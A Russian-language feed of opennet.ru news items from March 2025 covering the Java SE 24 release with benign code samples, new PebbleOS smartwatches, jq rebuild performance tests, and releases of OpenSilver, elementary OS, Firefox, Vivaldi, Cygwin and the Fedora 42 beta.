Java SE 24 отнесён к категории выпусков с обычным сроком поддержки, обновления для которого будут выпускаться до следующего релиза. В качестве ветки с длительным сроком поддержки (LTS) следует использовать Java SE 21 или Java SE 17, обновления для которых будут выпускаться до 2031 и 2029 годов соответственно (общедоступные - до 2028 и 2026 годов). Расширенная поддержка LTS-ветки Java SE 8 продлится до 2030 года, а Java SE 11 - до 2032 года. Следующим LTS-релизом станет осенний выпуск Java SE 25.

Среди предложенных в Java SE 24 новшеств:

  • Предложен экспериментальный генеративный режим работы сборщика мусора Shenandoah, при котором раздельно обрабатываются старые и недавно созданные объекты для повышения эффективности очистки объектов с небольшим временем жизни. Новый режим обеспечивает более предсказуемую пропускную способность, устойчивость к изменению нагрузки и снижение потребления памяти при сборке мусора. Планировщик Shenandoah нацелен на сокращение времени остановок во время сборки мусора за счёт проведения большего объёма работ параллельно с выполнением Java-приложений.
  • В HotSpot JVM реализована экспериментальная поддержка компактных заголовков объектов, размер которых на 64-разрядных системах уменьшен с 96 до 64 бит (с 12 до 8 байт). Уменьшение размера заголовков позволяет сократить размер кучи и повысить эффективность работы кэша.
  • В сборщике мусора G1 упрощена реализация барьеров, отслеживающих доступ приложения к памяти. В новой версии операции расширения барьеров перенесены на более поздний этап компиляции в C2 JIT. Проведённые тесты показывают, что подобный перенос позволяет снизить накладные расходы в JIT-компиляторе C2 на 10-20% в зависимости от приложения.
  • Добавлен API для использования криптографических функций формирования ключа (KDF, key derivation function), позволяющих сформировать дополнительные ключи необходимой длины на основе секретного ключа (например, пароля) и произвольного набора данных. KDF API пока имеет статус предварительного (preview).
  • Добавлена возможность упреждающей (Ahead-of-Time) загрузки и компоновки классов. Изменение позволяет ускорить запуск HotSpot JVM за счёт предоставления используемых в приложении классов в уже загруженном и скомпонованном состоянии. Во время первого запуска приложения состояние всех классов сбрасывается в кэш и при последующих запусках используется для ускорения загрузки.
  • Добавлен API Class-File для разбора, генерации и преобразования файлов с классами Java.

       ClassFile cf = ClassFile.of();
       ClassModel classModel = cf.parse(bytes);
       byte[] newBytes = cf.build(classModel.thisClass().asSymbol(),
            classBuilder -> {
                for (ClassElement ce : classModel) {
                    if (!(ce instanceof MethodModel mm
                            && mm.methodName().stringValue().startsWith("debug"))) {
                        classBuilder.with(ce);
                    }
                }
            });
    
    
  • Добавлен расширенный API Stream, поддерживающий определение собственных промежуточных операций, которые могут оказаться полезны в случаях, когда существующих встроенных промежуточных операций недостаточно для желаемого преобразования данных. Собственные обработчики подключаются при помощи новой промежуточной операции Stream::gather(Gatherer), которая обрабатывает элементы потока, применяя к ним заданный пользователем обработчик.
       jshell› Stream.of(1,2,3,4,5,6,7,8,9).gather(new WindowFixed(3)).toList()
       $1 ==› [[1, 2, 3], [4, 5, 6], [7, 8, 9]]
    
  • Предложена четвёртая предварительная реализация ограниченных значений (Scoped Values), позволяющих совместно использовать неизменяемые данные в потоках и эффективно обмениваться данными между дочерними потоками (значения наследуются). Scoped Values развиваются для замены механизма переменных локальных к потоку (thread-local variables) и более эффективны при использовании очень большого числа виртуальных потоков (тысячи и миллионы потоков). Главное отличие Scoped Values от переменных локальных к потоку в том, что первые записываются один раз, в дальнейшем не могут быть изменены и остаются доступны только на время выполнения потока.
  • В механизмы сопоставления с образцом добавлена предварительная поддержка использования примитивных типов (int, byte, char и другие базовые типы, не являющиеся объектами) во всех видах шаблонов, в операторе "instanceof" и в блоках "switch".
       switch (x.getStatus()) {
           case 0 -› "okay";
           case 1 -› "warning";
           case 2 -› "error";
           case int i -› "unknown status: " + i;
       }
       if (i instanceof byte b) {
        ... b ...
       }
    
  • Предложена девятая предварительная реализация API Vector, предоставляющего функции для векторных вычислений, которые выполняются с использованием векторных инструкций процессоров x86_64 и AArch64 и позволяют одновременно применить операции сразу к нескольким значениям (SIMD). В отличие от предоставляемых в JIT-компиляторе HotSpot возможностей по автовекторизации скалярных операций, новый API даёт возможность явно управлять векторизацией для параллельной обработки данных.
  • Реализована поддержка синхронизации виртуальных потоков без их прикрепления (pinning) к потокам, связанным с платформой. Виртуальные потоки в синхронизированном методе или выражении в состоянии блокировки теперь освобождают свой платформенный поток, позволяя другим виртуальным потокам использовать его, что значительно увеличивает количество доступных виртуальных потоков и улучшает масштабируемость приложений, использующих многопоточность.
  • Добавлен третий предварительный вариант возможности, разрешающей указание в конструкторах выражений перед вызовом super(...), используемого для явного вызова конструктора родительского класса из конструктора наследуемого класса, если эти выражения не ссылаются на создаваемый конструктором экземпляр.
       class Outer {
           void hello() {
               System.out.println("Hello");
           }
           class Inner {
               Inner() {
                   hello();
                   super();
               }
           }
       }
    
  • В утилите jlink реализована поддержка создания образов run-time без использования файлов JMOD, что позволяет примерно на 25% сократить размер JDK.
  • Добавлен второй предварительный вариант использования одного выражения "import module M" для импорта сразу всех пакетов, экспортируемых указанным модулем. Изменение существенно упрощает повторное использование модульных библиотек, позволяя подключать библиотеки и классы без определения их места в иерархии пакетов. Например, указание "import module java.base" приведёт к импорту всех 54 пакетов, входящих в модуль java.base, которые ранее потребовалось бы упоминать по-отдельности ("import java.io.*", "import java.util.*" и т.п.).
  • Добавлена четвёртая предварительная реализация неявно объявленных классов и безымянных экземпляров метода "main", в которых можно обойтись без объявлений public/static, передачи массива аргументов и прочих сущностей, связанных с объявлением класса.
       // было
       public class HelloWorld {
         public static void main(String[] args) {
           System.out.println("Hello world!");
         }
       }
    
       // теперь можно
       void main() {
           System.out.println("Hello, World!");
       }
    
  • Предложен для тестирования четвёртый предварительный вариант API для cтруктурированного параллелизма (Structured Concurrency), упрощающего разработку многопоточных приложений за счёт обработки нескольких задач, выполняемых в разных потоках, как единого блока.
  • В API KeyPairGenerator, Signature и KeyFactory добавлена поддержка алгоритмов ML-KEM (CRYSTALS-Kyber) и ML-DSA (CRYSTALS-Dilithium), стандартизированных Национальным институтом стандартов и технологий США (NIST) и стойких к подбору на квантовом компьютере. Данные алгоритмы используют методы криптографии, основанные на решении задач теории решёток, время решения которых не отличается на обычных и квантовых компьютерах.
  • В сборщике мусора ZGC удалена поддержка не генеративного режима работы, не разделяющего обработку "старых" и "молодых" объектов. Начиная с Java SE 23 генеративный режим ZGC применяется по умолчанию.
  • Добавлен вывод предупреждений об использовании API JNI (Java Native Interface) и FFM (Foreign Function & Memory) с целью подготовки разработчиков к ограничению доступа к данным API из-за включения в одном из будущих выпусков режима обеспечения целостности, по умолчанию запрещающего взаимодействие с нативным кодом.
  • Включён вывод предупреждения при использовании методов доступа к внешней памяти (вне JVM), предоставляемых классом sun.misc.Unsafe. Для обращения к памяти вне кучи (off-heap) и взаимодействия с внешними кодом рекомендуется использовать API VarHandle. В прошлом выпуске поддержка sun.misc.Unsafe была объявлена устаревшей.
  • Отключён Security Manager, который давно потерял актуальность и оказался невостребованным после прекращения поддержки браузерного плагина. Security Manager был переведён в разряд устаревших в Java 17. В одном из следующих выпусков планируется полностью удалить код Security Manager.
  • Удалён код для поддержки 32-разрядной платформы ОС Windows на системах x86. Объявлен устаревшим и запланирован к удалению порт Java для 32-разрядных систем x86 (будет прекращена поддержка Linux на 32-разрядных системах x86).

Дополнительно можно отметить публикацию обновления платформы для создания приложений с графическим интерфейсом JavaFX 24 и новый выпуск универсальной виртуальной машины GraalVM, поддерживающей запуск приложений на JavaScript (Node.js), Python, Ruby, R, любых языках для JVM (Java, Scala, Clojure, Kotlin) и языках, для которых может формироваться биткод LLVM (C, C++, Rust). Кроме поддержки JDK 24 в новой версии GraalVM проведены оптимизации для задач, связанных с машинным обучением, улучшена поддержка компиляции Java-байткода в машинный код, добавлен механизм SkipFlow для сокращения размера исполняемых файлов и уменьшения времени компиляции.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62914

opennet honked 19 Mar 2025 14:00 +0100

Представлены две модели умных часов на открытой платформе PebbleOS

Эрик Мигиковски (Eric Migicovsky), основатель компании Pebble Technology, представил две новые модели умных часов, которые будут выпускаться на базе открытой платформы PebbleOS. Новые модели полностью совместимы с приложениями и темами оформления, разработанными для старых часов Pebble. Устройства являются усовершенствованными вариантами ранее выпускаемых часов Pebble 2 и Pebble Time 2, и отличаются увеличением автономной работы с 7 до 30 дней, громкоговорителем, иным вибросигналом, улучшенными кнопками, датчиками давления и магнитного поля.

Прошлые модели часов Pebble выпускались с 2013 по 2016 год и пользовались популярностью благодаря длительной автономной работе из-за экрана не базе электронной бумаги и возможности установки на часы дополнительных программ из каталога, насчитывающего более 10 тысяч приложений. В 2016 году производство и разработка часов Pebble были свёрнуты после поглощения компанией Fitbit. В 2021 году компания Fitbit была куплена корпорацией Google, которая в январе 2025 года открыла код операционной системы PebbleOS под лицензией Apache 2.0 в рамках инициативы по поддержке энтузиастов, заинтересованных в продолжении развития платформы.

Основатель Pebble воспользовался публикацией PebbleOS для возрождении проекта и разработал две новые модели часов - "Core 2 Duo" и "Core Time 2". Между собой новые модели отличаются использованием 1.26-дюймового черно-белого (144x168) и 1.5-дюймового цветного сенсорного (200x228) экрана на базе электронной бумаги, а также пластиковым и металлическим корпусом. В остальном параметры часов близки. Модель Core Time 2 доступна для предзаказа по цене $149, а Core Time 2 - $225. Производство первой модели начнётся в июле, а второй в декабре.

У часов Core 2 Duo 1.26-дюймовый черно-белый экран и корпус идентичен ранее выпускаемой модели Pebble 2. Устройство тоже доступно в черном и белом исполнении, защищено от попадания влаги (IPX8), имеет встроенный микрофон, функции отслеживания продолжительности сна и шагомер. Отличия от Pebble 2 сводятся к автономной работе в течение 30 суток, задействованием Bluetooth LE чипа Nordic nRF52840, наличием громкоговорителя, барометра, компаса, линейного резонансного привода (тише и мощнее вибромотора) и более надёжными 4 кнопками.

Модель Core Time 2 оснащена 64-цветным 1.5-дюймовым экраном на базе электронной бумаги, превышающим экран модели Pebble Time 2, выполненный по той же технологии, на 53% по размеру и на 88% по числу пикселей. Экран сенсорный и накрыт плоской стеклянной линзой, которая в отличие от изогнутой линзы часов Pebble Time 2 вносит меньше искажений и бликов. Корпус и 4 кнопки выполнены из металла. Обеспечен уровень защиты от попадания влаги IPX8. Время автономной работы заявлено в 30 дней. Помимо функций отслеживания продолжительности сна и шагомера, часы укомплектованы пульсометром. Имеется микрофон и громкоговоритель.

Новые модели созданы в соответствии со следующими принципами:

  • Использование экрана на основе электронной бумаги, который хорошо читается при солнечном свете и не привлекает внимание окружающих своим свечением.
  • Длительная автономная работа от одной зарядки аккумулятора.
  • Простой и качественный интерфейс пользователя, предлагающий базовый набор наиболее часто используемых возможностей (показ времени, уведомления, управления воспроизведением музыки, будильник, прогноз погоды, календарь, шагомер и учёт времени сна).
  • Наличие кнопок, позволяющих совершать действия не смотря на экран (например, остановка воспроизведения музыки или переход к следующей композиции).
  • Доступность для модификации (hackable), расширения функциональности, создания своих надстроек и смены оформления.

Прошивки для устройств построены на открытом коде платформы PebbleOS и поддерживают все основные возможности старых часов Pebble, такие как вывод уведомлений и сообщений со смартфона (например, уведомления о входящих звонках и событиях календаря-планировщика, информация о новых SMS, email и сообщениях из популярных мессенджеров), списки действий, смена тем оформления экрана, будильник, таймер, календарь, управление воспроизведением музыки, функции фитнес-трекера, расширение функциональности через установку приложений из каталога apps.rebble.io. Для Android и iOS будут опубликованы новые сопутствующие приложения для взаимодействия смартфона с умными часами.

Источник: https://www.opennet.ru/opennews/art.shtml?num=62913

opennet honked 19 Mar 2025 12:00 +0100

Производительность Ubuntu-пакета jq удалось увеличить в 1.9 раза путём пересборки

Опубликованы результаты оценки влияния на производительность пересборки пакетов для Ubuntu с различными опциями и реализациями функций выделения памяти. Экспериментатору удалось на 90% (в 1.9 раза) повысить производительность пакета jq с инструментарием для обработки данных в формате JSON, путём обычной пересборки из того же пакета с исходным кодом, без внесения изменений в сам код. Производительность оценивалась через измерение времени выполнения типового фильтрующего запроса над данными GeoJSON, размером 500МБ.

Итоги эксперимента:

  • Вариант, собранный в GCC из тех же исходных текстов с флагами по умолчанию оказался быстрее бинарного пакета Ubuntu на 2-4%.
  • Пересборка в Clang 18 с уровнем оптимизации"-O3", включением оптимизации на этапе связывания ("-flto") и отключением отладочной информации ("-DNDEBUG") привела к ускорению на 20%.
  • Пересборка с системой распределения памяти TCMalloc (добавление "-L/usr/lib/x86_64-linux-gnu -ltcmalloc_minimal" в LDFLAGS) привела к ускорению на 40%.
  • Замена функций malloc на системы распределения памяти tcmalloc, jemalloc и mimalloc через "LD_PRELOAD=/usr/lib/x86_64-linux-gnu/lib....so" привела к увеличению производительности на 27%, 29% и 44%. При запуске с mimalloc, показавшем ускорение на 44%, выставлялась переменная окружения "MIMALLOC_LARGE_OS_PAGES=1".
  • Пересборка пакета с mimalloc в LDFLAGS вместо связывания через LD_PRELOAD привела к ускорению прохождения теста на 90%. Другой тест по обработке 2.2GB JSON-данных в 13000 файлах также показал прирост производительности примерно в два раза.


Источник: https://www.opennet.ru/opennews/art.shtml?num=62912

opennet honked 19 Mar 2025 10:00 +0100

Проект SDL3Lite развивает версию библиотеки SDL3 с поддержкой старых систем

Проект SDL3Lite нацелен на воссоздание библиотеки SDL3 с поддержкой старых архитектур и операционных систем, при сохранении совместимости с SDL3 на уровне C API. С ограниченной функциональностью SDL3Lite уже поддерживает работу в Linux, начиная с Debian 3, и Windows, начиная с Windows 95. Из системных требований для работы графического API заявлена поддержка OpenGL 1.0, а 2D-отрисовки - OpenGL 1.2. В будущем автор планирует добавить поддержку Windows 3.1 и MS-DOS. Код написан на С++ и распространяется под лицензией BSL (Boost Software License).

Источник: https://www.opennet.ru/opennews/art.shtml?num=62909

opennet honked 19 Mar 2025 10:00 +0100

Выпуск платформы OpenSilver 3.2, продолжающей развитие технологии Silverlight

Представлен выпуск проекта OpenSilver 3.2, продолжающего развитие платформы Silverlight и позволяющего создавать интерактивные web-приложения при помощи технологий C#, F#, XAML и .NET. Скомпилированные при помощи OpenSilver приложения Silverlight могут работать в любых настольных и мобильных браузерах с поддержкой WebAssembly. Для разработки могут использоваться среда Visual Studio и редактор кода VS Code, поддерживающий работу в Windows, macOS и Linux. Код проекта написан на языке C# и распространяется под лицензией MIT.

Изначально проект OpenSilver был нацелен на предоставление инструментария для продления жизни существующих Silverlight-приложений, после прекращения разработки и сопровождения платформы Silverlight компанией Microsoft в 2021 году, а также прекращения поддержки связанных с ней плагинов в браузерах. В OpenSilver поддерживаются все основные возможности движка Silverlight, включая полную поддержку языков C# и XAML, а также реализацию большей части API платформы, достаточную для использования таких C#-библиотек, как Telerik UI, WCF RIA Services, PRISM и MEF.

В текущем виде OpenSilver вышел за рамки прослойки для продления жизни Silverlight и может рассматриваться как самостоятельная платформа для создания новых приложений. Например, проектом развивается среда разработки, обеспечивается поддержка новых версий языка C# и платформы .NET, предоставляется совместимость с библиотеками на языке JavaScript.

В качестве основы OpenSilver задействован код открытых проектов Mono (mono-wasm) и Microsoft Blazor (часть ASP.NET Core), а для выполнения в браузере применяется компиляция приложений в промежуточный код WebAssembly. OpenSilver продолжает развитие проекта CSHTML5, позволяющего компилировать приложения C#/XAML/.NET в представление на языке JavaScript, пригодное для запуска в браузере, и расширяет его кодовую базу возможностями для компиляции C#/XAML/.NET в WebAssembly, а не в JavaScript.

В новой версии:

  • Добавлена поддержка развёртывания приложений на базе фреймворка "WPF" (Windows Presentation Foundation) для iOS, Android, Windows, macOS, Linux и Web-браузеров, используя одну общую кодовую базу на XAML/C#. Поддержка мобильных платформ реализована через интеграцию инструментария .NET MAUI Hybrid, позволяющего использовать WebView для отображения интерфейса при компиляции бизнес-логики в нативный код. Для доступа к API мобильных платформ можно использовать фреймворк MAUI.
  • Улучшена совместимость с фреймворком "WPF" (Windows Presentation Foundation): добавлена поддержка RTL-начертания текста (right-to-left), передачи событий вверх по иерархии элементов, расширенной анимации, API VirtualizingStackPanel и плавной прокрутки на сенсорных экранах.
  • Предоставлены средства для миграции существующих кодовых баз и их адаптации к возможностям WPF, специфичным для OpenSilver.
  • Улучшена интеграция со средой разработки Visual Studio и редактором кода VS Code. Дополнения c поддержкой OpenSilver размещены в штатных каталогах дополнений Visual Studio и VS Code.
  • Добавлено новое приложение ToDoCalendar с примером реализации календаря-планировщика, компилируемого для разных типов устройств. Демнострационное приложение Showcase расширено возможностями для интеграции с мобильными платформами, позволяющими обращаться к API для управления датчиками, ориентацией, вибромотором и уведомлениями, а также для определения местоположения и доступа к файлами.


Источник: https://www.opennet.ru/opennews/art.shtml?num=62911

opennet honked 19 Mar 2025 09:00 +0100

Выпуск дистрибутива elementary OS 8.0.1

Опубликован выпуск дистрибутива elementary OS 8.0.1, позиционируемого в качестве быстрой, открытой и заботящейся о конфиденциальности альтернативы Windows и macOS. Основное внимание в проекте уделяется качественному дизайну, нацеленному на создание простой в использовании системы, потребляющей минимальные ресурсы и обеспечивающей высокую скорость запуска. Пользователям предлагается собственное окружение рабочего стола Pantheon. Для загрузки подготовлены загрузочные iso-образы (3.3 ГБ), доступные для архитектуры amd64 (для бесплатной загрузки с сайта проекта в поле с суммой пожертвования необходимо ввести 0).

При разработке оригинальных компонентов elementary OS используется GTK3, язык Vala и собственный фреймворк Granite. В качестве основы дистрибутива используются наработки проекта Ubuntu. На уровне пакетов и поддержки репозиториев elementary OS 8.x совместим с Ubuntu 24.04. Все дополнительные приложения, предлагаемые для установки через AppCenter, а также некоторые поставляемые по умолчанию приложения упакованы с использованием формата Flatpak. Графическое окружение основано на собственной оболочке Pantheon, которая объединяет собой такие компоненты, как оконный менеджер Gala (на базе LibMutter), лаунчер Slingshot, панель управления Switchboard, верхнюю панель Wing, панель задач Dock и менеджер сессий Pantheon Greeter (на основе LightDM).

В состав окружения входит набор тесно интегрированных в единое окружение приложений, необходимых для решения задач пользователей. Среди приложений большую часть составляют собственные разработки проекта, такие как эмулятор терминала Pantheon Terminal, файловый менеджер Pantheon Files, текстовый редактор Code и музыкальный проигрыватель Music (Noise). Проектом также развиваются менеджер фотографий Pantheon Photos (ответвление от Shotwell) и почтовый клиент Mail (ответвление от Evolution).

Основные изменения:

  • В центре установки приложений (AppCenter) улучшена поддержка тёмного режима оформления - задействованы общие для всего дистрибутива тёмные цвета и реализовано отображение скриншотов с тёмной темой оформления. При поставке нескольких скриншотов приоритет отдаётся тем, что созданы для среды рабочего стола Pantheon.
  • Улучшено окно для вывода примечаний к релизу.
  • В файловом менеджере решены проблемы с вводом файлового пути в режиме поиска, прокруткой после удаления файлов и пропаданием файлов при перетаскивании на непримонтированный накопитель. Добавлена поддержка URI admin:// для открытия файловых путей с правами администратора.
  • В конфигуратор добавлена возможность настройки уведомлений (System Settings → Notications).
  • В интерфейсе управления установленными приложениями (Applications) добавлена опция для запрета вывода уведомлений.
  • На страницу с настройками сети добавлены опции для управления автоматическим подключением и допустимостью запуска фоновых задач, потребляющих трафик, таких как загрузка обновлений.
  • Отключена автоматическая загрузка обновлений при подключении к сетям с тарификацией по трафику. При наличии обновлений в подобных сетях теперь выводится уведомление. Добавлена информация о размере обновления и реализован индикатор прогресса загрузки. Отключена проверка обновлений в демонстрационных сеансах.
  • В инсталляторе переделан и сведён в одну страницу интерфейс настройки шифрования дисковых разделов.
  • В панели улучшена поддержка работы на экранах с высокой плотностью пикселей (HiDPI). В контекстное меню, показываемое в меню приложений, добавлен пункт "Keep in Dock" для закрепления в панели приложений. В меню Power показана модель устройства. Добавлена страница со списком других активных сеансов и возможностью переключаться между ними.
  • В панели приложений увеличены отступы между ярлыками и индикаторами запуска. Добавлен непрозрачный стиль панели.
  • Повышена скорость поиска.
  • Пакеты с ядром Linux обновлены до версии 6.11 (перенесены из Ubuntu 24.04.2 LTS).


Источник: https://www.opennet.ru/opennews/art.shtml?num=62908

opennet honked 19 Mar 2025 07:00 +0100

Обновление Firefox 136.0.2. Новые требования Mozilla к удостоверяющим центрам

Доступен корректирующий выпуск Firefox 136.0.2, в котором устранено несколько проблем:
  • Исправлена ошибка, приводившая к включению опций для удаления Cookie, данных сайтов и содержимого кэша страниц после обновления до версии Firefox 136, если до этого в настройках были включены опции очистки истории навигации или настроек сайтов во время завершения работы.
  • Устранена проблема, из-за которой запрос master-пароля выводился в ситуациях, когда он не требуется.
  • Решены проблемы с отображением переключателей в web-формах на страницах с тёмным фоном.
  • Решена специфичная для Windows проблема, приводившая к большой нагрузке на CPU во время блокировки экрана или закрытии крышки ноутбука.

Дополнительно можно отметить публикацию третьей версии правили хранилища корневых сертификатов Mozilla (MRSP - Mozilla Root Store Policy). Изменения вступили в силу 15 марта и нацелены на решение проблем с задержкой отзыва сертификатов удостоверяющими центрами. Добавлены новые требования для обеспечения оперативного отзыва сертификатов, убрана возможность получения отсрочки отзыва сертификатов в отдельных ситуациях и расширены условия отслеживания жизненного цикла закрытых ключей. Кроме того, добавлен пункт, запрещающий создание корневых сертификатов двойного назначения, применяемых как для сайтов, так и для почты (для TLS и S/MIME теперь должны создаваться отдельные корневые сертификаты).

Источник: https://www.opennet.ru/opennews/art.shtml?num=62906

opennet honked 19 Mar 2025 07:00 +0100

Новая стабильная версия браузера Vivaldi 7.2

Состоялся релиз проприетарного браузера Vivaldi 7.2, разрабатываемого на базе движка Chromium бывшими разработчиками движка Opera Presto. Сборки Vivaldi подготовлены для Linux, Windows и macOS. Изменения, вносимые в кодовую базу Chromium, проект распространяет под открытой лицензией. Интерфейс браузера написан на языке JavaScript с использованием библиотеки React, платформы Node.js, Browserify и различных готовых NPM-модулей. Реализация интерфейса доступна в исходных текстах, но под проприетарной лицензией.

Проект ставит своей задачей создание настраиваемого и функционального браузера, сохраняющего приватность данных пользователей. В число основных функций входит блокировщик слежки и рекламы, менеджеры заметок, истории и закладок, приватный режим просмотра, синхронизация, защищённая сквозным шифрованием, режим группировки вкладок, боковая панель, конфигуратор с большим числом настроек, режим горизонтального отображения вкладок, а также в тестовом режиме встроенный почтовый клиент, RSS-ридер и календарь.

В новой версии отмечены следующие улучшения:

  • Полностью переработан выпадающий список адресной строки, включающий поисковые запросы, закладки, ранее введённые адреса и прочие данные.
  • Оптимизирована обработка поиска запрашиваемых доменов, что позволило значительно увеличить скорость загрузки страниц.
  • В настройки быстрых клавиш добавлен раздел для рабочих пространств, позволяющий назначать комбинации клавиш для действий с пространствами.
  • В настройках клавиатуры появился список приоритета команд, который позволяет сохранить за браузером указанные комбинации клавиш, даже если сайт может пытаться их использовать.
  • Во встроенном почтовом клиенте реализована поддержка создания из полученного сообщения задачи или события календаря прямо из контекстного меню. Добавлена опция ручной сортировки почтовых учётных записей в списке.


Источник: https://www.opennet.ru/opennews/art.shtml?num=62904

opennet honked 18 Mar 2025 22:00 +0100

Выпуск Cygwin 3.6.0, GNU-окружения для Windows

Компания Red Hat опубликовала стабильный релиз пакета Cygwin 3.6.0, включающего DLL-библиотеку для эмуляции базового Linux API в Windows, позволяющую с минимальными изменениями собирать созданные для Linux программы. В пакет также входят непосредственно собранные для выполнения в Windows стандартные Unix-утилиты, серверные приложения, компиляторы, библиотеки и заголовочные файлы.

Основные изменения:

  • Реализованы новые функции: getlocalename_l, fdclosedir, posix_getdents, setproctitle, timespec_get, tcgetwinsize, tcsetwinsize и posix_close, posix_spawn_file_actions_addchdir.
  • Добавлена поддержка флагов FS_PINNED_FL и FS_UNPINNED_FL для поддержки Windows-атрибутов FILE_ATTRIBUTE_PINNED и FILE_ATTRIBUTE_UNPINNED.
  • Добавлена библиотека libaio.a, предназначенная для проверки поддержки POSIX aio.
  • В утилиту cygpath добавлена опция "-r" для генерирования Windows-путей с префиксом "\\?\".
  • Переведён в разряд устаревших и больше не устанавливается по умолчанию в новых версиях Windows протокол SMBv1.
  • Переработана обработка неименованных каналов (pipe).
  • В обработчике сигналов задействованы инструкции AVX/AVX2/AVX-512.
  • Максимальное значение идентификатора процесса (PID) увеличено с 65536 до 4194304.


Источник: https://www.opennet.ru/opennews/art.shtml?num=62903

opennet honked 18 Mar 2025 20:00 +0100

Началось бета-тестирование Fedora Linux 42

Представлена бета-версия дистрибутива Fedora Linux 42, ознаменовавшая переход на финальную стадию тестирования, при которой допускается только исправление критических ошибок. Релиз запланирован на 22 апреля. Выпуск охватывает Fedora Workstation, Fedora KDE Plasma Desktop, Fedora Server, Fedora IoT, Fedora CoreOS, Fedora Cloud Base, Fedora IoT Edition, Fedora Silverblue, Fedora Kinoite и Live-сборки, поставляемые в форме спинов c пользовательскими окружениями Xfce, MATE, Cinnamon, LXDE, Phosh, Miracle, LXQt, Budgie, Sway и Cosmic. Сборки сформированы для архитектур x86_64, Power64 и ARM64 (AArch64).

Наиболее значимые изменения в Fedora Linux 42:

  • Сборка Fedora KDE Plasma Desktop получила статуса базовой редакции дистрибутива, идентичной по уровню поддержки с Fedora Workstation. Таким образом, варианты дистрибутива с GNOME и KDE отныне имеют идентичный статус и преподносятся на равных. Специфичные для KDE серьёзные проблемы теперь рассматриваться как блокирующие релиз, так же, как ранее блокировали релиз серьёзные проблемы в GNOME. Кроме того, в Fedora KDE Plasma Desktop добавлена поддержка архитектуры Power (ppc64le), для которой доступен полный стек приложений KDE, включая KDE PIM. Для систем OpenPOWER, таких как Talos Workstation, подготовлены Live-сборки с KDE, поддерживающие возможность установки.
  • Добавлены официальные Spin-сборки дистрибутива со средой рабочего стола COSMIC, разрабатываемой компанией System76 на языке Rust. COSMIC предоставляет режимы гибридной мозаичной компоновки окон и стекового закрепления окон (группировка окон по аналогии со вкладками в браузере), которые могут включаться в привязке к виртуальным рабочим столам.
  • Рабочий стол в Fedora Workstation обновлён до ветки GNOME 48, релиз которой намечен на завтра. Обновлены рабочие столы Xfce 4.20 и LXQt 2.1.
  • В Fedora Workstation задействован по умолчанию новый вариант инсталлятора Anaconda, в котором вместо интерфейса на основе библиотеки GTK используется web-интерфейс. Web-интерфейс построен с использованием JavaScript-фреймворка React, элементов оформления PatternFly и компонентов из проекта Cockpit, уже применяемого в продуктах Red Hat для настройки и управления серверами. Вместо главного экрана с перечнем действий в новом интерфейсе работа организована в форме мастера (Wizard), подразумевающего последовательное выполнение определённых шагов без возвращения к основному экрану. Web-интерфейс допускает взаимодействие через web-браузер для удалённого управления установкой.

    Предложенный интерфейс избавлен от усложнений и более понятен для начинающих пользователей. В качестве базового предлагается использовать автоматизированный (guided) режим разбивки диска, при котором инсталлятор сам выбирает параметры создания или изменения разделов на основе настроек, выбранных пользователем. Добавлена опция для переустановки дистрибутива (например, для восстановления работы при повреждении каких-то системных файлов), а также возможность установки в режиме двойной загрузки для использования на одном компьютере нескольких ОС.

  • Классический инсталлятор Anaconda переведён на использование протокола Wayland, что позволило исключить связанные с X11 зависимости из установочных носителей. Процесс удалённой установки переведён с VNC-клиента TigerVNC на приложение grd (Gnome Remote Desktop), использующее протокол RDP. По умолчанию для всех поддерживаемых архитектур задействована разбивка на разделы с использованием GPT.
  • Объединено содержимое каталогов /usr/bin и /usr/sbin. Каталог /usr/sbin заменён на символическую ссылку, указывающую на /usr/bin. Разделение исполняемых файлов по каталогам bin и sbin признано устаревшей практикой, которая потеряла смысл в современных дистрибутивах. Унификация bin и sbin упростит работу сопровождающих пакеты, которым не придётся гадать в какой каталог разместить исполняемый файл; сделает систему более предсказуемой и понятной для пользователей; увеличит совместимость с другими дистрибутивами; уменьшит число проверок каталогов при выполнении execvp() и похожих вызовов.
  • Добавлены новые группы flatpak и diskadmin для обеспечения доступа непривилегированных пользователей к функциям управления системными пакетами в формате Flatpak и внешними накопителями. Изменение позволило избавиться от необходимости добавления пользователя в группу wheel, т.е. даёт возможность работать с flatpak и внешними дисками без предоставления доступа к остальным операциям администрирования. Для пользователей, входящих в группу wheel, дополнительно предоставлена возможность разблокировки (LUKS) и монтирования внешних накопителей без запроса ввода пароля.
  • Разрешено включать в пакеты дополнительные варианты исполняемых файлов, собранные с оптимизациями для микроархитектур x86-64-v2, x86-64-v3 и x86-64-v4. В большинстве случаев прирост производительности при сборке для подобных архитектур не превышает 10%, но в отдельных ситуациях приводит к заметному повышению производительности (до 120%). Решение о добавлении дополнительно оптимизированных исполняемых файлов принимают сопровождающие, в зависимости от результатов тестирования производительности конкретных пакетов.
  • Live-сборки дистрибутива, использующие системный образ в режиме только для чтения, переведены со SquashFS на файловую систему EROFS. В качестве причин перехода упоминается более активная разработка EROFS (последний выпуск инструментария SquashFS был весной 2023 года) и наличие в EROFS расширенных возможностей, которые могут быть задействованы в будущем. По сравнению со SquashFS в EROFS хуже уровень сжатия (размер образа 2.7 GiB в EROFS против 2.0 GiB в SquashFS при использовании алгоритма сжатия XZ и 3.9 GiB против 3.1 GiB при использовании LZ4), но более высокая скорость случайного доступа и пропускная способность (7.1 MiB/s в EROFS против 5.0 MiB/s в SquashFS для XZ и 30.9 MiB/s против 26.3 MiB/s для LZ4).
  • Атомарно обновляемые редакции дистрибутива для настольных систем (Fedora Atomic Desktops), такие как Fedora Silverblue (GNOME), Fedora Kinoite (KDE), Fedora Sway Atomic и Fedora Budgie Atomic, по умолчанию переведены на файловую систему Composefs, что позволило использовать в данных сборках корневой раздел, работающий в режиме только для чтения, а также в дальнейшем задействовать для системного раздела средства верификации целостности, позволяющие выявлять возникающие проблемы во время работы. Разделы /etc и /var продолжают монтироваться с возможностью записи. Файловая система Composefs реализована в виде надстройки над уже присутствующими в ядре ФС OverlayFS и EROFS, и оптимизирована для эффективного совместного хранения содержимого нескольких примонтированных дисковых образов.
  • В редакции Fedora Kinoite (атомарно обновляемый вариант с KDE) по умолчанию включена автоматическая установка обновлений.
  • Предоставлены официальные сборки Fedora для подсистемы WSL (Windows Subsystem for Linux), которые включены в перечень Linux-дистрибутивов, предлагаемых для быстрой установки в WSL. Сборки сформированы в новом формате, позволяющем распространять дистрибутив со своих серверов без загрузки в каталог Microsoft Store, без упаковки в формате appx и без размещения в сборке кода, специфичного для Windows.
